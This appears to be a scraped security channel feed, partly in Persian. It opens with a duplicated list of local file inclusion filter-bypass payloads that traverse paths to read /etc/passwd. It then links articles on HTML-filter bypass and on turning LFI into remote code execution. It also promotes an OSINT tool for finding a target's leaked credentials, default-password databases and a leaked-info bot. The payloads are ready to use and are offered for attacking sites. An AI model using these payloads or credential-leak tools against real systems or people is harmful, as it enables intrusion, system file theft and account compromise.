Some filter bypass payload list while hunting for LFi vulnerability
→index.php?page=....//....//etc/passwd
→index.php?page=..///////..////..//////etc/passwd
→index.php?page=/var/www/../../etc/passwd
→index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
→index.php?page=....//....//etc/passwd
→index.php?page=..///////..////..//////etc/passwd
→index.php?page=/var/www/../../etc/passwd
→index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
👍4
$10,000 From GitHub For Bypassing Filtration oF HTML tags
https://infosecwriteups.com/how-i-got-10-000-from-github-for-bypassing-filtration-of-html-tags-db31173c8b37
https://infosecwriteups.com/how-i-got-10-000-from-github-for-bypassing-filtration-of-html-tags-db31173c8b37
❤3😱1
Converting LFI into RCE by chaining PHP encoding filters
https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html
https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html
🔥2👍1
سرویس SocialPwned به شما امکان میدهد ایمیلهایی را از هدف دریافت کنید که در شبکههای اجتماعی مانند اینستاگرام، لینکدین و توییتر منتشر شدهاند تا نشتهای احتمالی را در PwnDB یا Dehashed پیدا کنید و اطلاعات حساب Google را از طریق GHunt به دست آورید.
GitHub
GitHub - MrTuxx/SocialPwned: SocialPwned is an OSINT tool that allows to get the emails, from a target, published in social networks…
SocialPwned is an OSINT tool that allows to get the emails, from a target, published in social networks such as Instagram, Linkedin and Twitter to find possible credentials leaks in PwnDB or Dehash...
رمز عبور پیش فرض
پایگاه داده های رمزهای عبور نصب شده به طور پیش فرض در دستگاه های مختلف را جستجو کنید.
https://cirt.net/passwords
https://www.fortypoundhead.com/tools_dpw.asp
https://www.routerpasswords.com/
https://open-sez.me/
@LeakedInfoBot
بهترین ربات OSINT است!
پایگاه داده های رمزهای عبور نصب شده به طور پیش فرض در دستگاه های مختلف را جستجو کنید.
https://cirt.net/passwords
https://www.fortypoundhead.com/tools_dpw.asp
https://www.routerpasswords.com/
https://open-sez.me/
@LeakedInfoBot
بهترین ربات OSINT است!
❤2👍1